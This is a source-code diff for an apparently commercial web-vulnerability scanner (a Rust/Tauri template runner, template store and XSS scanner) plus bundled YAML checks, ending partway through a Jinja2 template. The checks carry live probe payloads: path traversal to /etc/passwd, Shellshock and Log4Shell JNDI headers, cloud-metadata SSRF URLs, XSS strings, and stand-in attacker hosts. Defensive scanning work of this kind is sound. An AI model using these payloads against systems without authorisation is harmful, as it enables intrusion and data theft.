let mut all_payloads = tpl.payloads.clone();
for (k, v) in &rq.payloads { all_payloads.insert(k.clone(), v.clone()); }
for raw_path in &rq.path {
let payload_sets = expand_payloads(raw_path, &all_payloads, &rq.attack);
for pset in &payload_sets {
let mut iter_vars = vars.clone();
for (k, v) in pset { iter_vars.insert(k.clone(), v.clone()); }
let final_path = expand(raw_path, &iter_vars);
let method = reqwest::Method::from_bytes(rq.method.as_bytes())
.unwrap_or(reqwest::Method::GET);
let mut builder = client.request(method, &final_path);
for (k, v) in &rq.headers {
builder = builder.header(expand(k, &iter_vars), expand(v, &iter_vars));
}
if let Some(body) = &rq.body {
builder = builder.body(expand(body, &iter_vars));
}
let start = Instant::now();
let resp = match builder.send().await {
Ok(r) => r,
Err(e) => {
let _ = app.emit(ev_status.as_str(), format!("req err [{}]: {e}", tpl.id));
continue;
}
};
let status = resp.status().as_u16();
let hdrs = resp.headers().clone();
let body = resp.text().await.unwrap_or_default();
let duration = start.elapsed().as_millis();
// matchers
let cond = rq.matchers_condition.as_str();
let results: Vec<(bool, String)> = rq.matchers.iter()
.map(|m| (check_matcher(m, status, &hdrs, &body, duration),
m.name.clone().unwrap_or_else(|| m.kind.clone())))
.collect();
let matched = if results.is_empty() { false }
else if cond == "and" { results.iter().all(|(r, _)| *r) }
else { results.iter().any(|(r, _)| *r) };
// extractors (always run — populate variables for chained reqs)
let extracted = run_extractors(&rq.extractors, status, &hdrs, &body);
for ex in &rq.extractors {
if ex.internal {
if let Some(name) = &ex.name {
if let Some(vals) = extracted.get(name) {
if let Some(first) = vals.first() {
rt_vars.insert(name.clone(), first.clone());
}
}
}
}
}
if matched {
let finding = Finding {
template_id: tpl.id.clone(),
template_name: tpl.info.name.clone(),
severity: tpl.info.severity.clone(),
tags: tpl.info.tags.clone(),
target: target.to_string(),
matched_url: final_path,
status,
matcher_names: results.into_iter().filter(|(r, _)| *r).map(|(_, n)| n).collect(),
extracted,
description: tpl.info.description.clone(),
remediation: tpl.info.remediation.clone(),
reference: tpl.info.reference.clone(),
cvss: tpl.info.classification.as_ref().and_then(|c| c.cvss_score),
cve_id: tpl.info.classification.as_ref().and_then(|c| c.cve_id.clone()),
};
let _ = app.emit(ev_hit.as_str(), finding.clone());
out.push(finding);
if rq.stop_at_first_match { break 'per_request; }
}
}
}
}
out
}
pub fn parse_templates(yamls: &[String], app: &AppHandle, error_event: &str) -> Vec<Template> {
yamls.iter()
.filter_map(|y| match serde_yaml::from_str::<Template>(y) {
Ok(t) => Some(t),
Err(e) => {
let _ = app.emit(error_event, format!("template parse error: {e}"));
None
}
})
.collect()
}
#[tauri::command]
pub async fn xploit_run(app: AppHandle, req: RunRequest) -> Result<Vec<Finding>, String> {
let templates = parse_templates(&req.templates_yaml, &app, "xpl:status");
if templates.is_empty() {
return Err("no valid templates loaded".into());
}
let client = reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_millis(req.timeout_ms))
.redirect(reqwest::redirect::Policy::limited(5))
.user_agent("Mozilla/5.0 (Xploiter)")
.build()
.map_err(|e| e.to_string())?;
let tasks: Vec<(String, Template)> = req.targets.iter()
.flat_map(|t| templates.iter().map(move |tpl| (t.clone(), tpl.clone())))
.collect();
let total = tasks.len();
let _ = app.emit("xpl:status", format!("running {} target×template combo(s)", total));
let sem = Arc::new(Semaphore::new(req.concurrency.max(1)));
let client = Arc::new(client);
let done = Arc::new(std::sync::atomic::AtomicUsize::new(0));
let all: Vec<Finding> = stream::iter(tasks.into_iter())
.map(|(target, tpl)| {
let sem = sem.clone();
let client = client.clone();
let done = done.clone();
let app = app.clone();
async move {
let _permit = sem.acquire().await.unwrap();
let v = run_template_against_target(&client, &target, &tpl, &app, "xpl").await;
let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1;
let _ = app.emit("xpl:progress", serde_json::json!({"done": n, "total": total}));
v
}
})
.buffer_unordered(req.concurrency.max(1))
.flat_map(|v| stream::iter(v.into_iter()))
.collect()
.await;
let _ = app.emit("xpl:done", all.len());
Ok(all)
}

View File

@@ -0,0 +1,270 @@
// ===================================================================
// Xploiter template store — local CRUD + bundled starter templates.
//
// Templates live in: app_local_data_dir()/xploiter-templates/*.yaml
// Bundled templates are embedded at compile time and extracted on
// first run into the same directory (user can then edit them).
//
// TODO(backend): add a `templates_sync` command that pulls curated
// community packs from a signed Pocket-hosted registry
// (subscription tier). Templates must be signed so
// malicious YAMLs can't be injected by a MITM.
// TODO(backend): add `templates_publish` to submit a local template
// back to the registry for review.
// ===================================================================
use std::collections::HashMap;
use std::path::PathBuf;
use serde::{Deserialize, Serialize};
use tauri::{AppHandle, Emitter, Manager};
use walkdir::WalkDir;
// ------------------------------------------------------------------
// Bundled starter templates — covers RCE, SSTI, LFI, SSRF, info-leak
// ------------------------------------------------------------------
//
// These are embedded in the binary so the app is useful on first run
// without network access. Users can edit/delete/duplicate freely.
const STARTER_TEMPLATES: &[(&str, &str)] = &[
("xpl-env-leak.yaml", include_str!("../../starter_templates/xpl-env-leak.yaml")),
("xpl-git-config.yaml", include_str!("../../starter_templates/xpl-git-config.yaml")),
("xpl-phpinfo.yaml", include_str!("../../starter_templates/xpl-phpinfo.yaml")),
("xpl-lfi-basic.yaml", include_str!("../../starter_templates/xpl-lfi-basic.yaml")),
("xpl-rce-shellshock.yaml", include_str!("../../starter_templates/xpl-rce-shellshock.yaml")),
("xpl-rce-log4shell.yaml", include_str!("../../starter_templates/xpl-rce-log4shell.yaml")),
("xpl-ssti-jinja2.yaml", include_str!("../../starter_templates/xpl-ssti-jinja2.yaml")),
("xpl-ssti-twig.yaml", include_str!("../../starter_templates/xpl-ssti-twig.yaml")),
("xpl-open-redirect.yaml", include_str!("../../starter_templates/xpl-open-redirect.yaml")),
("xpl-ssrf-basic.yaml", include_str!("../../starter_templates/xpl-ssrf-basic.yaml")),
("xpl-wp-debug.yaml", include_str!("../../starter_templates/xpl-wp-debug.yaml")),
("xpl-cors-misconfig.yaml", include_str!("../../starter_templates/xpl-cors-misconfig.yaml")),
("xpl-backup-files.yaml", include_str!("../../starter_templates/xpl-backup-files.yaml")),
];
fn store_root(app: &AppHandle) -> Result<PathBuf, String> {
let base = app.path().app_local_data_dir().map_err(|e| e.to_string())?;
let p = base.join("xploiter-templates");
if !p.exists() {
std::fs::create_dir_all(&p).map_err(|e| e.to_string())?;
}
Ok(p)
}
// ------------------------------------------------------------------
// Data shapes
// ------------------------------------------------------------------
#[derive(Debug, Clone, Serialize)]
pub struct TemplateRef {
pub filename: String,
pub path: String,
pub id: String,
pub name: String,
pub severity: String,
pub tags: Vec<String>,
pub author: String,
pub description: String,
pub builtin: bool,
}
#[derive(Debug, Clone, Deserialize)]
struct HeadYaml {
id: Option<String>,
info: Option<HeadInfo>,
}
#[derive(Debug, Clone, Deserialize)]
struct HeadInfo {
name: Option<String>,
severity: Option<String>,
author: Option<String>,
description: Option<String>,
tags: Option<serde_yaml::Value>,
}
fn parse_tags(v: Option<serde_yaml::Value>) -> Vec<String> {
match v {
Some(serde_yaml::Value::String(s)) => s.split(',').map(|x| x.trim().to_string()).filter(|x| !x.is_empty()).collect(),
Some(serde_yaml::Value::Sequence(seq)) => seq.into_iter().filter_map(|v| v.as_str().map(String::from)).collect(),
_ => Vec::new(),
}
}
// ------------------------------------------------------------------
// Commands
// ------------------------------------------------------------------
#[tauri::command]
pub async fn xploit_store_init(app: AppHandle) -> Result<serde_json::Value, String> {
let root = store_root(&app)?;
// Always overwrite bundled templates (user-authored custom templates with
// different filenames are preserved). This picks up template improvements
// shipped in app updates.
let mut written = 0usize;
let bundled: std::collections::HashSet<&str> =
STARTER_TEMPLATES.iter().map(|(n, _)| *n).collect();
for (name, body) in STARTER_TEMPLATES {
let p = root.join(name);
std::fs::write(&p, body).map_err(|e| e.to_string())?;
written += 1;
}
let _ = app.emit("xpl:store:status",
format!("store ready @ {} ({} bundled synced)", root.display(), written));
let _ = bundled; // keep for clarity
Ok(serde_json::json!({
"path": root.to_string_lossy(),
"written": written,
"total_bundled": STARTER_TEMPLATES.len(),
}))
}
#[tauri::command]
pub async fn xploit_store_list(
app: AppHandle,
severity: Option<Vec<String>>,
tag: Option<String>,
query: Option<String>,
) -> Result<Vec<TemplateRef>, String> {
let root = store_root(&app)?;
let sev_filter: Option<Vec<String>> = severity.map(|v| v.into_iter().map(|s| s.to_lowercase()).collect());
let q = query.map(|s| s.to_lowercase());
let bundled_names: std::collections::HashSet<&str> = STARTER_TEMPLATES.iter().map(|(n, _)| *n).collect();
let mut out: Vec<TemplateRef> = Vec::new();
for entry in WalkDir::new(&root).into_iter().filter_map(|e| e.ok()) {
if !entry.file_type().is_file() { continue; }
let path = entry.path();
if path.extension().and_then(|s| s.to_str()) != Some("yaml") { continue; }
let Ok(content) = std::fs::read_to_string(path) else { continue };
let Ok(head) = serde_yaml::from_str::<HeadYaml>(&content) else { continue };
let filename = path.file_name().and_then(|s| s.to_str()).unwrap_or("").to_string();
let id = head.id.unwrap_or_default();
if id.is_empty() { continue; }
let info = head.info.unwrap_or(HeadInfo { name: None, severity: None, author: None, description: None, tags: None });
let severity = info.severity.unwrap_or_else(|| "info".into()).to_lowercase();
let tags = parse_tags(info.tags);
if let Some(ref sf) = sev_filter {
if !sf.contains(&severity) { continue; }
}
if let Some(ref t) = tag {
if !tags.iter().any(|x| x.eq_ignore_ascii_case(t)) { continue; }
}
if let Some(ref qq) = q {
let hay = format!("{} {} {}", id, info.name.clone().unwrap_or_default(), tags.join(" "));
if !hay.to_lowercase().contains(qq) { continue; }
}
out.push(TemplateRef {
filename: filename.clone(),
path: path.to_string_lossy().into_owned(),
id,
name: info.name.unwrap_or_default(),
severity,
tags,
author: info.author.unwrap_or_default(),
description: info.description.unwrap_or_default(),
builtin: bundled_names.contains(filename.as_str()),
});
}
out.sort_by(|a, b| a.filename.cmp(&b.filename));
Ok(out)
}
#[tauri::command]
pub async fn xploit_store_read(path: String) -> Result<String, String> {
tokio::fs::read_to_string(&path).await.map_err(|e| e.to_string())
}
#[tauri::command]
pub async fn xploit_store_save(app: AppHandle, filename: String, content: String) -> Result<String, String> {
// validate YAML parses before writing
serde_yaml::from_str::<serde_yaml::Value>(&content).map_err(|e| format!("invalid yaml: {e}"))?;
let root = store_root(&app)?;
let safe = filename.replace(['/', '\\', ':'], "_");
let fname = if safe.ends_with(".yaml") { safe } else { format!("{safe}.yaml") };
let path = root.join(&fname);
tokio::fs::write(&path, content).await.map_err(|e| e.to_string())?;
Ok(path.to_string_lossy().into_owned())
}
#[tauri::command]
pub async fn xploit_store_delete(path: String) -> Result<(), String> {
tokio::fs::remove_file(&path).await.map_err(|e| e.to_string())
}
#[tauri::command]
pub async fn xploit_store_duplicate(app: AppHandle, path: String) -> Result<String, String> {
let content = tokio::fs::read_to_string(&path).await.map_err(|e| e.to_string())?;
let orig = std::path::Path::new(&path).file_stem()
.and_then(|s| s.to_str()).unwrap_or("template");
let new_name = format!("{orig}-copy-{}.yaml", rand::random::<u16>());
let root = store_root(&app)?;
let new_path = root.join(&new_name);
tokio::fs::write(&new_path, content).await.map_err(|e| e.to_string())?;
Ok(new_path.to_string_lossy().into_owned())
}
#[tauri::command]
pub fn xploit_store_starter_template() -> String {
// Returned when UI asks for a "new template" skeleton.
r#"id: my-custom-check
info:
name: My Custom Template
author: you
severity: info
description: Describe what this template detects
tags:
- custom
reference:
- https://example.com/reference
variables:
marker: "xpl_{{randstr}}"
http:
- method: GET
path:
- "{{BaseURL}}/"
matchers-condition: or
matchers:
- type: word
part: body
words:
- "Welcome"
- type: status
status:
- 200
extractors:
- type: regex
part: body
regex:
- "v([0-9]+\\.[0-9]+\\.[0-9]+)"
group: 1
name: version
"#.into()
}
// TODO(backend): subscription-gated commands (stubbed for now)
//
// #[tauri::command]
// pub async fn xploit_store_sync_community() -> Result<(), String> {
// // POST to /v1/templates/sync with session token, download signed
// // template pack, verify ed25519 sigs, extract to store_root().
// Err("community sync requires a Pocket Pro subscription".into())
// }
//
// #[tauri::command]
// pub async fn xploit_store_publish(path: String) -> Result<(), String> {
// // Upload local template for peer review. Requires auth session.
// Err("publishing requires a Pocket Pro subscription".into())
// }
// unused import guard — HashMap isn't used yet but kept for future extractor aggregation
#[allow(dead_code)]
fn _keep(_: HashMap<(), ()>) {}

View File

@@ -0,0 +1,300 @@
use std::sync::Arc;
use std::time::Duration;
use rand::Rng;
use serde::{Deserialize, Serialize};
use tauri::{AppHandle, Emitter};
use tokio::sync::Semaphore;
use url::Url;
#[derive(Debug, Clone, Deserialize)]
pub struct XssRequest {
pub url: String,
pub params: Option<Vec<String>>,
pub methods: Vec<String>,
pub concurrency: usize,
pub timeout_ms: u64,
}
#[derive(Debug, Clone, Serialize)]
pub struct XssFinding {
pub param: String,
pub method: String,
pub context: String,
pub payload: String,
pub evidence: String,
pub confidence: String,
}
#[derive(Debug, Clone)]
enum RefContext {
Html,
HtmlAttribute(char), // quote char
ScriptBlock,
ScriptString(char),
UrlAttribute,
Comment,
}
fn random_canary() -> String {
let chars: Vec<char> = "abcdefghijklmnopqrstuvwxyz0123456789".chars().collect();
let mut rng = rand::thread_rng();
let tail: String = (0..8).map(|_| chars[rng.gen_range(0..chars.len())]).collect();
format!("pxs{tail}xsp")
}
fn detect_context(body: &str, canary: &str) -> Vec<RefContext> {
let mut found = Vec::new();
let bytes = body.as_bytes();
let canary_bytes = canary.as_bytes();
let mut i = 0;
while i + canary_bytes.len() <= bytes.len() {
if &bytes[i..i + canary_bytes.len()] == canary_bytes {
// look backwards for context
let before = &body[..i];
let ctx = classify(before);
found.push(ctx);
i += canary_bytes.len();
} else {
i += 1;
}
}
found
}
fn classify(before: &str) -> RefContext {
let last_open_script = before.rfind("<script");
let last_close_script = before.rfind("</script>");
let in_script = match (last_open_script, last_close_script) {
(Some(o), Some(c)) => o > c,
(Some(_), None) => true,
_ => false,
};
if in_script {
let after_script = &before[last_open_script.unwrap()..];
// find quotes within script
let mut in_dq = false;
let mut in_sq = false;
for c in after_script.chars() {
match c {
'"' if !in_sq => in_dq = !in_dq,
'\'' if !in_dq => in_sq = !in_sq,
_ => {}
}
}
if in_dq { return RefContext::ScriptString('"'); }
if in_sq { return RefContext::ScriptString('\''); }
return RefContext::ScriptBlock;
}
let last_open_tag = before.rfind('<');
let last_close_tag = before.rfind('>');
let in_tag = match (last_open_tag, last_close_tag) {
(Some(o), Some(c)) => o > c,
(Some(_), None) => true,
_ => false,
};
if in_tag {
// inside a tag — look for attribute context (href/src/action)
let tag_segment = &before[last_open_tag.unwrap_or(0)..].to_lowercase();
let last_eq = tag_segment.rfind('=');
if let Some(eq_pos) = last_eq {
let after_eq = &before[last_open_tag.unwrap() + eq_pos + 1..];
let trimmed = after_eq.trim_start();
let quote = trimmed.chars().next();
// attribute name heuristic
let is_url_attr = tag_segment.contains("href=") || tag_segment.contains("src=") || tag_segment.contains("action=");
if is_url_attr {
return RefContext::UrlAttribute;
}
if let Some(q) = quote {
if q == '"' || q == '\'' {
return RefContext::HtmlAttribute(q);
}
}
return RefContext::HtmlAttribute(' ');
}
return RefContext::HtmlAttribute(' ');
}
let last_comment_open = before.rfind("<!--");
let last_comment_close = before.rfind("-->");
let in_comment = match (last_comment_open, last_comment_close) {
(Some(o), Some(c)) => o > c,
(Some(_), None) => true,
_ => false,
};
if in_comment { return RefContext::Comment; }
RefContext::Html
}
fn payloads_for(ctx: &RefContext, canary: &str) -> Vec<(String, String)> {
// returns (label, payload) — payload MUST contain canary for detection
match ctx {
RefContext::Html => vec![
("svg-onload".into(), format!("<svg/onload=alert('{canary}')>")),
("img-onerror".into(), format!("<img src=x onerror=alert('{canary}')>")),
("script-tag".into(), format!("<script>/*{canary}*/</script>")),
],
RefContext::HtmlAttribute(q) => {
let qs = q.to_string();
vec![
("attr-break".into(), format!("{qs} onfocus=alert('{canary}') autofocus {qs}")),
("attr-close-tag".into(), format!("{qs}><svg onload=alert('{canary}')>")),
]
}
RefContext::ScriptBlock => vec![
("script-direct".into(), format!("alert('{canary}')//")),
("script-semicolon".into(), format!(";alert('{canary}');//")),
],
RefContext::ScriptString(q) => {
let qs = q.to_string();
vec![
("js-string-break".into(), format!("{qs};alert('{canary}');//")),
("js-string-concat".into(), format!("{qs}+alert('{canary}')+{qs}")),
]
}
RefContext::UrlAttribute => vec![
("javascript-url".into(), format!("javascript:alert('{canary}')")),
("data-uri".into(), format!("data:text/html,<script>alert('{canary}')</script>")),
],
RefContext::Comment => vec![
("break-comment".into(), format!("--><svg onload=alert('{canary}')>")),
],
}
}
fn ctx_name(ctx: &RefContext) -> &'static str {
match ctx {
RefContext::Html => "HTML body",
RefContext::HtmlAttribute(_) => "HTML attribute",
RefContext::ScriptBlock => "JS block",
RefContext::ScriptString(_) => "JS string",
RefContext::UrlAttribute => "URL attribute",
RefContext::Comment => "HTML comment",
}
}
async fn send(
client: &reqwest::Client,
method: &str,
base: &Url,
param: &str,
value: &str,
other_params: &[(String, String)],
) -> Option<String> {
let resp = if method == "POST" {
let mut form: Vec<(String, String)> = other_params.to_vec();
form.push((param.to_string(), value.to_string()));
client.post(base.as_str()).form(&form).send().await.ok()?
} else {
let mut u = base.clone();
u.query_pairs_mut().clear();
for (k, v) in other_params {
u.query_pairs_mut().append_pair(k, v);
}
u.query_pairs_mut().append_pair(param, value);
client.get(u).send().await.ok()?
};
resp.text().await.ok()
}
#[tauri::command]
pub async fn xss_scan(app: AppHandle, req: XssRequest) -> Result<Vec<XssFinding>, String> {
let base = Url::parse(&req.url).map_err(|e| e.to_string())?;
let client = reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_millis(req.timeout_ms))
.redirect(reqwest::redirect::Policy::limited(3))
.user_agent("Mozilla/5.0 (PocketPentester)")
.build()
.map_err(|e| e.to_string())?;
let query_params: Vec<(String, String)> =
base.query_pairs().map(|(k, v)| (k.into_owned(), v.into_owned())).collect();
let param_names: Vec<String> = req.params.unwrap_or_else(|| {
query_params.iter().map(|(k, _)| k.clone()).collect()
});
if param_names.is_empty() {
return Err("no parameters to test".into());
}
let mut findings: Vec<XssFinding> = Vec::new();
let sem = Arc::new(Semaphore::new(req.concurrency.max(1)));
for method in &req.methods {
for param in &param_names {
let others: Vec<(String, String)> = query_params
.iter()
.filter(|(k, _)| k != param)
.cloned()
.collect();
// 1. reflection probe with canary
let canary = random_canary();
let _ = app.emit("xss:status", format!("{} {} [canary {canary}]", method, param));
let _permit = sem.acquire().await.unwrap();
let body = match send(&client, method, &base, param, &canary, &others).await {
Some(b) => b,
None => continue,
};
drop(_permit);
if !body.contains(&canary) {
let _ = app.emit("xss:status", format!(" no reflection in {param}"));
continue;
}
let contexts = detect_context(&body, &canary);
let _ = app.emit(
"xss:status",
format!(" reflected in {} context(s)", contexts.len()),
);
// 2. for each context, try payloads
for ctx in &contexts {
let attack_canary = random_canary();
for (label, payload) in payloads_for(ctx, &attack_canary) {
let _permit = sem.acquire().await.unwrap();
let body2 = match send(&client, method, &base, param, &payload, &others).await {
Some(b) => b,
None => continue,
};
if body2.contains(&attack_canary) {
// check payload survived mostly unescaped
let key_markers = ["<svg", "<img", "<script", "onerror=", "onload=", "alert(", "javascript:"];
let survived = key_markers.iter().any(|m| body2.contains(m) && payload.contains(m));
let finding = XssFinding {
param: param.clone(),
method: method.clone(),
context: ctx_name(ctx).into(),
payload: payload.clone(),
evidence: if survived {
format!("canary + payload tag survived in {label}")
} else {
format!("canary reflected but payload possibly escaped ({label})")
},
confidence: if survived { "HIGH".into() } else { "LOW".into() },
};
let _ = app.emit("xss:hit", finding.clone());
findings.push(finding);
if survived { break; }
}
}
}
}
}
let _ = app.emit("xss:done", findings.len());
Ok(findings)
}

View File

@@ -0,0 +1,52 @@
id: xpl-backup-files
info:
name: "Backup & Source File Exposure"
author: imtaqin
severity: high
description: |
Common backup/artifact filenames left in web-root — often contain
source code, credentials, or database dumps.
tags:
- exposure
- backup
http:
- method: GET
path:
- "{{BaseURL}}/backup.zip"
- "{{BaseURL}}/backup.tar.gz"
- "{{BaseURL}}/backup.sql"
- "{{BaseURL}}/db.sql"
- "{{BaseURL}}/dump.sql"
- "{{BaseURL}}/site.zip"
- "{{BaseURL}}/www.zip"
- "{{BaseURL}}/public_html.zip"
- "{{BaseURL}}/.bash_history"
- "{{BaseURL}}/.DS_Store"
# ALL conditions must be true — kill false positives from default 404 pages.
matchers-condition: and
matchers:
- type: status
status: [200]
- type: dsl
dsl:
- "size > 512"
name: real-content
# Must NOT be a standard HTML error page
- type: word
part: body
words:
- "<!DOCTYPE html"
- "<html"
- "Not Found"
- "404 Not Found"
- "Forbidden"
- "Error"
condition: or
negative: true
# Must NOT be served as HTML (backup files are octet-stream, zip, sql, etc)
- type: regex
part: header
regex:
- "(?i)content-type:\\s*text/html"
negative: true

View File

@@ -0,0 +1,33 @@
id: xpl-cors-misconfig
info:
name: "CORS Misconfiguration (Origin Reflection)"
author: imtaqin
severity: medium
description: |
The server reflects an attacker-controlled Origin header and
also sets Access-Control-Allow-Credentials:true — a classic
account-takeover primitive.
tags:
- cors
- misconfig
http:
- method: GET
path:
- "{{BaseURL}}/"
- "{{BaseURL}}/api/user"
- "{{BaseURL}}/api/me"
headers:
Origin: "https://evil.example"
matchers-condition: and
matchers:
- type: regex
part: header
regex:
- "(?i)access-control-allow-origin:\\s*https://evil\\.example"
name: origin-reflected
- type: regex
part: header
regex:
- "(?i)access-control-allow-credentials:\\s*true"
name: credentials-enabled

View File

@@ -0,0 +1,38 @@
id: xpl-env-leak
info:
name: ".env File Exposure"
author: imtaqin
severity: high
description: |
Detects exposed .env files containing credentials, API keys,
or database passwords.
tags:
- exposure
- config
- credential-leak
reference:
- https://owasp.org/www-community/vulnerabilities/Information_exposure_through_files
http:
- method: GET
path:
- "{{BaseURL}}/.env"
- "{{BaseURL}}/.env.local"
- "{{BaseURL}}/.env.production"
- "{{BaseURL}}/.env.backup"
matchers-condition: and
matchers:
- type: status
status: [200]
# must contain actual env-style KEY=VALUE pairs with sensitive names
- type: regex
part: body
regex:
- "(?im)^(APP_KEY|DB_PASSWORD|AWS_ACCESS_KEY_ID|AWS_SECRET_ACCESS_KEY|SECRET_KEY|API_KEY|PRIVATE_KEY|STRIPE_SECRET|JWT_SECRET)="
name: env-secret
# must NOT be served as HTML (default 404 page)
- type: regex
part: header
regex:
- "(?i)content-type:\\s*text/html"
negative: true

View File

@@ -0,0 +1,50 @@
id: xpl-git-config
info:
name: ".git Directory Exposure"
author: imtaqin
severity: high
description: |
Exposed .git/config or .git/HEAD — the entire git repository
(with history + potentially secrets) can be dumped.
tags:
- exposure
- git
reference:
- https://github.com/internetwache/GitTools
http:
- method: GET
path:
- "{{BaseURL}}/.git/config"
matchers-condition: and
matchers:
- type: status
status: [200]
# exact signature of a git config file
- type: word
part: body
words:
- "[core]"
- "repositoryformatversion"
condition: and
- type: regex
part: header
regex:
- "(?i)content-type:\\s*text/html"
negative: true
- method: GET
path:
- "{{BaseURL}}/.git/HEAD"
matchers-condition: and
matchers:
- type: status
status: [200]
# HEAD file is short + starts with "ref:" or is a 40-char hex hash
- type: regex
part: body
regex:
- "^(ref: refs/heads/|[a-f0-9]{40})"
- type: dsl
dsl:
- "size < 200"

View File

@@ -0,0 +1,42 @@
id: xpl-lfi-basic
info:
name: "Local File Inclusion (LFI)"
author: imtaqin
severity: high
description: |
Classic path-traversal test across common vulnerable parameters.
Uses clusterbomb attack to combine traversal depths and payloads.
tags:
- lfi
- path-traversal
reference:
- https://owasp.org/www-community/attacks/Path_Traversal
http:
- method: GET
path:
- "{{BaseURL}}/index.php?page={{fuzz}}"
- "{{BaseURL}}/?file={{fuzz}}"
- "{{BaseURL}}/download?file={{fuzz}}"
- "{{BaseURL}}/view.php?template={{fuzz}}"
attack: batteringram
payloads:
fuzz:
- "../../../../etc/passwd"
- "../../../../../../etc/passwd"
- "....//....//....//etc/passwd"
- "..%2f..%2f..%2fetc%2fpasswd"
- "php://filter/convert.base64-encode/resource=index.php"
stop_at_first_match: true
matchers-condition: or
matchers:
- type: regex
part: body
regex:
- "root:[x*]:0:0:"
name: etc-passwd
- type: regex
part: body
regex:
- "^[A-Za-z0-9+/]{100,}={0,2}$"
name: base64-filter

View File

@@ -0,0 +1,29 @@
id: xpl-open-redirect
info:
name: "Open Redirect"
author: imtaqin
severity: medium
description: |
Redirect parameters that accept arbitrary external URLs, usable
for phishing + OAuth token theft.
tags:
- open-redirect
- phishing
http:
- method: GET
path:
- "{{BaseURL}}/redirect?url=https://evil.example/"
- "{{BaseURL}}/go?to=https://evil.example/"
- "{{BaseURL}}/out?dest=https://evil.example/"
- "{{BaseURL}}/login?next=https://evil.example/"
redirects: false
matchers-condition: and
matchers:
- type: status
status: [301, 302, 303, 307, 308]
- type: regex
part: header
regex:
- "(?i)^location:\\s*https?://evil\\.example"
name: redirect-to-evil

View File

@@ -0,0 +1,43 @@
id: xpl-phpinfo
info:
name: "phpinfo() Exposure"
author: imtaqin
severity: medium
description: |
phpinfo pages reveal PHP version, loaded modules, environment
variables, and file-system paths.
tags:
- exposure
- php
- infoleak
http:
- method: GET
path:
- "{{BaseURL}}/phpinfo.php"
- "{{BaseURL}}/info.php"
- "{{BaseURL}}/test.php"
- "{{BaseURL}}/_profiler/phpinfo"
matchers-condition: and
matchers:
- type: status
status: [200]
# must contain all 3 phpinfo signatures to be confident
- type: word
part: body
words:
- "PHP Version"
- "phpinfo()"
- "System"
condition: and
- type: word
part: body
words:
- "<title>phpinfo()</title>"
extractors:
- type: regex
part: body
regex:
- "PHP Version </td><td class=\"v\">([0-9.]+)"
group: 1
name: php-version

View File

@@ -0,0 +1,52 @@
id: xpl-rce-log4shell
info:
name: "Log4Shell JNDI Injection (CVE-2021-44228)"
author: imtaqin
severity: critical
description: |
Checks common endpoints for reflection of JNDI lookup payloads.
NOTE: true blind RCE detection requires an OOB server —
the cloud subscription provides interact.sh-lite for reliable
callback validation.
tags:
- cve
- rce
- log4j
- jndi
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
classification:
cvss-score: 10.0
cve-id: CVE-2021-44228
# TODO(backend): when OOB is enabled, swap `${jndi:ldap://attacker.com}`
# for `${jndi:ldap://{{interactsh-url}}/{{randstr}}}` and correlate callbacks.
variables:
canary: "xpl_log4j_{{randstr}}"
jndi: "${jndi:ldap://xpl.invalid/{{canary}}}"
http:
- method: GET
path:
- "{{BaseURL}}/"
headers:
User-Agent: "{{jndi}}"
X-Api-Version: "{{jndi}}"
Referer: "{{jndi}}"
X-Forwarded-For: "{{jndi}}"
Authorization: "Bearer {{jndi}}"
matchers-condition: or
matchers:
- type: word
part: all
words:
- "{{canary}}"
name: canary-echo
- type: word
part: body
words:
- "java.net.UnknownHostException: xpl.invalid"
- "JndiLookup"
condition: or
name: jndi-error

View File

@@ -0,0 +1,47 @@
id: xpl-rce-shellshock
info:
name: "Bash Shellshock RCE (CVE-2014-6271)"
author: imtaqin
severity: critical
description: |
Remote code execution via malformed function definitions in Bash
environment variables, exploitable through CGI endpoints.
tags:
- cve
- rce
- shellshock
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2014-6271
classification:
cvss-score: 10.0
cve-id: CVE-2014-6271
variables:
marker: "xpl_shock_{{randstr}}"
http:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/status"
- "{{BaseURL}}/cgi-bin/test"
- "{{BaseURL}}/cgi-bin/test.cgi"
- "{{BaseURL}}/cgi-bin/test.sh"
- "{{BaseURL}}/cgi-bin/bash"
- "{{BaseURL}}/cgi-bin/env"
- "{{BaseURL}}/cgi-bin/info.sh"
headers:
User-Agent: "() { :; }; echo; echo; /bin/echo {{marker}}"
Cookie: "() { :; }; echo; echo; /bin/echo {{marker}}"
Referer: "() { :; }; echo; echo; /bin/echo {{marker}}"
matchers-condition: or
matchers:
- type: word
part: body
words:
- "{{marker}}"
name: body-reflection
- type: word
part: header
words:
- "{{marker}}"
name: header-reflection

View File

@@ -0,0 +1,36 @@
id: xpl-ssrf-basic
info:
name: "Server-Side Request Forgery (basic reflection)"
author: imtaqin
severity: high
description: |
Checks for reflection of internal metadata endpoints in response
bodies via common SSRF-prone parameters.
NOTE: blind SSRF requires OOB (cloud tier).
tags:
- ssrf
# TODO(backend): swap http://169.254.169.254 for {{interactsh-url}} when
# the cloud OOB server is enabled; correlate DNS/HTTP callbacks.
http:
- method: GET
path:
- "{{BaseURL}}/fetch?url=http://169.254.169.254/latest/meta-data/"
- "{{BaseURL}}/proxy?u=http://169.254.169.254/latest/meta-data/"
- "{{BaseURL}}/image?src=http://169.254.169.254/"
matchers-condition: or
matchers:
- type: word
part: body
words:
- "ami-id"
- "instance-id"
- "security-credentials"
condition: or
name: aws-metadata-reflected
- type: regex
part: body
regex:
- "(?i)computeMetadata|project-id"
name: gcp-metadata-reflected

View File

@@ -0,0 +1,43 @@
id: xpl-ssti-jinja2
info:
name: "Server-Side Template Injection (Jinja2/Flask)"
author: imtaqin
severity: critical
description: |
Detects Jinja2 SSTI by injecting a math expression with an unusual
product (999 * 777 = 776223) that's unlikely to appear naturally.
Confirms only when the exact computed value is reflected AND the
raw payload with {{ }} is NOT echoed back verbatim.
tags:
- ssti
- rce
- python
- jinja2
http:
# Payload is literal `xplZZZ{{999*777}}ssti` — the engine's expand() leaves
# {{999*777}} alone since it's not a known variable name. If the target has
# Jinja2 SSTI on that parameter, the server renders it to `xplZZZ776223ssti`.
- method: GET
path:
- "{{BaseURL}}/?name=xplZZZ{{999*777}}ssti"
- "{{BaseURL}}/?q=xplZZZ{{999*777}}ssti"
- "{{BaseURL}}/search?q=xplZZZ{{999*777}}ssti"
